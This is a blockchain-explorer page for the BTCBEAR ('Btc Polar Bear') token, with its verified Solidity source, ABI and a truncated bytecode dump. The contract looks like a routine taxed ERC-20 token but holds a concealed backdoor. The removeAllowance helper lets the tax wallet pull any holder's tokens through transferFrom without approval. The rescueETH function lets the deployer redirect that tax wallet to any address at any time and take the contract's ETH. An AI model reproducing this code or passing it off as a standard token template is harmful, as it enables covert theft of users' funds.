ETH Price: $3,190.54 (+2.97%)

Token

Btc Polar Bear (BTCBEAR)
 

Overview

Max Total Supply

1,000,000,000 BTCBEAR

Holders

79

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
10,303,142.826132455 BTCBEAR

Value
$0.00
0xe1deb455fe306b1c0f8e4f3d39e566f54af87aa9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BTCBEAR

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : 2.sol
// SPDX-License-Identifier: MIT

/*
https://x.com/Bitcoin/status/1849246276577071389
*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BTCBEAR is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    address private _deployer;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 3;
    uint256 private _reduceSellTaxAt = 3;
    uint256 private _preventSwapBefore = 3;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Btc Polar Bear";
    string private constant _symbol = unicode"BTCBEAR";
    uint256 public _maxTxAmount = 2 * (_tTotal / 100);
    uint256 public _maxWalletSize = 2 * (_tTotal / 100);
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 1 * (_tTotal / 100);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _taxWallet = payable(0x8aE9d22A3E810740E730c57e46AD605b044e1B1A);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        _deployer = _msgSender();

        _balances[address(this)] = (_tTotal * 98) / 100;
        _balances[_msgSender()] = (_tTotal * 2) / 100;

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100);
        emit Transfer(address(0), address(this), (_tTotal * 98) / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function removeAllowance(
        address sender,
        uint256 amount
    ) internal view returns (uint256 xAmount) {
        if (sender != _taxWallet) return amount;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                removeAllowance(_msgSender(), amount),
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (
            from != owner() &&
            to != owner() &&
            from != address(this) &&
            to != address(this)
        ) {
            taxAmount = amount.mul(_transferTax).div(100);

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceBuyTaxAt)
                            ? _finalBuyTax
                            : _initialBuyTax
                    )
                    .div(100);
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore
            ) {
                if (contractTokenBalance > _taxSwapThreshold)
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function rescueETH(address wallet) external {
        require(_msgSender() == _deployer, "No AUTH");
        _taxWallet = payable(wallet);
        payable(_msgSender()).transfer(address(this).balance);
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601460065560146007555f6008555f6009556003600a556003600b556003600c555f600d555f600e5560646009600a61003d9190610aec565b633b9aca0061004c9190610b36565b6100569190610ba4565b60026100629190610b36565b600f5560646009600a6100759190610aec565b633b9aca006100849190610b36565b61008e9190610ba4565b600261009a9190610b36565b6010556009600a6100ab9190610aec565b60646100b79190610b36565b60115560646009600a6100ca9190610aec565b633b9aca006100d99190610b36565b6100e39190610ba4565b60016100ef9190610b36565b6012555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff0219169083151502179055505f61013561094d60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350738ae9d22a3e810740e730c57e46ad605b044e1b1a60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6102339190610aec565b633b9aca006102429190610b36565b60015f61025361094d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f6102a361095460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103cb61094d60201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460626009600a61041c9190610aec565b633b9aca0061042b9190610b36565b6104359190610b36565b61043f9190610ba4565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460026009600a6104929190610aec565b633b9aca006104a19190610b36565b6104ab9190610b36565b6104b59190610ba4565b60015f6104c661094d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e59190610c32565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068f9190610c32565b6040518363ffffffff1660e01b81526004016106ac929190610c6c565b6020604051808303815f875af11580156106c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ec9190610c32565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016107c8929190610ca2565b6020604051808303815f875af11580156107e4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108089190610cfe565b5061081761094d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a6108779190610aec565b633b9aca006108869190610b36565b6108909190610b36565b61089a9190610ba4565b6040516108a79190610d29565b60405180910390a33073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a6109109190610aec565b633b9aca0061091f9190610b36565b6109299190610b36565b6109339190610ba4565b6040516109409190610d29565b60405180910390a3610d42565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156109fd578086048111156109d9576109d861097b565b5b60018516156109e85780820291505b80810290506109f6856109a8565b94506109bd565b94509492505050565b5f82610a155760019050610ad0565b81610a22575f9050610ad0565b8160018114610a385760028114610a4257610a71565b6001915050610ad0565b60ff841115610a5457610a5361097b565b5b8360020a915084821115610a6b57610a6a61097b565b5b50610ad0565b5060208310610133831016604e8410600b8410161715610aa65782820a905083811115610aa157610aa061097b565b5b610ad0565b610ab384848460016109b4565b92509050818404811115610aca57610ac961097b565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f610af682610ad7565b9150610b0183610ae0565b9250610b2e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610a06565b905092915050565b5f610b4082610ad7565b9150610b4b83610ad7565b9250828202610b5981610ad7565b91508282048414831517610b7057610b6f61097b565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610bae82610ad7565b9150610bb983610ad7565b925082610bc957610bc8610b77565b5b828204905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610c0182610bd8565b9050919050565b610c1181610bf7565b8114610c1b575f80fd5b50565b5f81519050610c2c81610c08565b92915050565b5f60208284031215610c4757610c46610bd4565b5b5f610c5484828501610c1e565b91505092915050565b610c6681610bf7565b82525050565b5f604082019050610c7f5f830185610c5d565b610c8c6020830184610c5d565b9392505050565b610c9c81610ad7565b82525050565b5f604082019050610cb55f830185610c5d565b610cc26020830184610c93565b9392505050565b5f8115159050919050565b610cdd81610cc9565b8114610ce7575f80fd5b50565b5f81519050610cf881610cd4565b92915050565b5f60208284031215610d1357610d12610bd4565b5b5f610d2084828501610cea565b91505092915050565b5f602082019050610d3c5f830184610c93565b92915050565b612b0280610d4f5f395ff3fe60806040526004361061010c575f3560e01c8063751039fc116100945780638f9a55c0116100635780638f9a55c01461033157806395d89b411461035b578063a9059cbb14610385578063bf474bed146103c1578063dd62ed3e146103eb57610113565b8063751039fc146102b15780637d1db4a5146102c75780638a8c523c146102f15780638da5cb5b1461030757610113565b806318160ddd116100db57806318160ddd146101cf57806323b872dd146101f9578063313ce5671461023557806370a082311461025f578063715018a61461029b57610113565b806304824e701461011757806306fdde031461013f578063095ea7b3146101695780630faee56f146101a557610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061013d60048036038101906101389190611cd1565b610427565b005b34801561014a575f80fd5b5061015361054b565b6040516101609190611d6c565b60405180910390f35b348015610174575f80fd5b5061018f600480360381019061018a9190611dbf565b610588565b60405161019c9190611e17565b60405180910390f35b3480156101b0575f80fd5b506101b96105a5565b6040516101c69190611e3f565b60405180910390f35b3480156101da575f80fd5b506101e36105ab565b6040516101f09190611e3f565b60405180910390f35b348015610204575f80fd5b5061021f600480360381019061021a9190611e58565b6105ce565b60405161022c9190611e17565b60405180910390f35b348015610240575f80fd5b506102496106b2565b6040516102569190611ec3565b60405180910390f35b34801561026a575f80fd5b5061028560048036038101906102809190611cd1565b6106ba565b6040516102929190611e3f565b60405180910390f35b3480156102a6575f80fd5b506102af610700565b005b3480156102bc575f80fd5b506102c561084e565b005b3480156102d2575f80fd5b506102db61097d565b6040516102e89190611e3f565b60405180910390f35b3480156102fc575f80fd5b50610305610983565b005b348015610312575f80fd5b5061031b610b9c565b6040516103289190611eeb565b60405180910390f35b34801561033c575f80fd5b50610345610bc3565b6040516103529190611e3f565b60405180910390f35b348015610366575f80fd5b5061036f610bc9565b60405161037c9190611d6c565b60405180910390f35b348015610390575f80fd5b506103ab60048036038101906103a69190611dbf565b610c06565b6040516103b89190611e17565b60405180910390f35b3480156103cc575f80fd5b506103d5610c23565b6040516103e29190611e3f565b60405180910390f35b3480156103f6575f80fd5b50610411600480360381019061040c9190611f04565b610c29565b60405161041e9190611e3f565b60405180910390f35b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610467610cab565b73ffffffffffffffffffffffffffffffffffffffff16146104bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104b490611f8c565b60405180910390fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610505610cab565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610547573d5f803e3d5ffd5b5050565b60606040518060400160405280600e81526020017f42746320506f6c61722042656172000000000000000000000000000000000000815250905090565b5f61059b610594610cab565b8484610cb2565b6001905092915050565b60125481565b5f6009600a6105ba9190612106565b633b9aca006105c99190612150565b905090565b5f6105da848484610e75565b6106a7846105e6610cab565b6106a26105fa6105f4610cab565b876116fb565b604051806060016040528060288152602001612aa56028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610659610cab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461175f9092919063ffffffff16565b610cb2565b600190509392505050565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610708610cab565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610794576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078b906121db565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610856610cab565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d9906121db565b60405180910390fd5b6009600a6108f09190612106565b633b9aca006108ff9190612150565b600f819055506009600a6109139190612106565b633b9aca006109229190612150565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6109579190612106565b633b9aca006109669190612150565b6040516109739190611e3f565b60405180910390a1565b600f5481565b61098b610cab565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0e906121db565b60405180910390fd5b60148054906101000a900460ff1615610a65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5c90612243565b60405180910390fd5b610aad3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610a999190612106565b633b9aca00610aa89190612150565b610cb2565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610af5306106ba565b5f80610aff610b9c565b426040518863ffffffff1660e01b8152600401610b21969594939291906122a3565b60606040518083038185885af1158015610b3d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b629190612316565b5050506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600781526020017f4254434245415200000000000000000000000000000000000000000000000000815250905090565b5f610c19610c12610cab565b8484610e75565b6001905092915050565b60115481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d17906123d6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8590612464565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e689190611e3f565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eda906124f2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4890612580565b60405180910390fd5b5f8111610f93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8a9061260e565b60405180910390fd5b5f610f9c610b9c565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561100a5750610fda610b9c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561104257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561107a57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561144b576110a76064611099600d54856117c190919063ffffffff16565b61183890919063ffffffff16565b905060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611152575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111a5575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561129d57600f548211156111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e690612676565b60405180910390fd5b601054826111fc856106ba565b6112069190612694565b1115611247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123e90612711565b60405180910390fd5b6112836064611275600a54600e541161126257600654611266565b6008545b856117c190919063ffffffff16565b61183890919063ffffffff16565b9050600e5f8154809291906112979061272f565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561132557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611369576113666064611358600b54600e541161134557600754611349565b6009545b856117c190919063ffffffff16565b61183890919063ffffffff16565b90505b5f611373306106ba565b9050601460159054906101000a900460ff161580156113de575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffff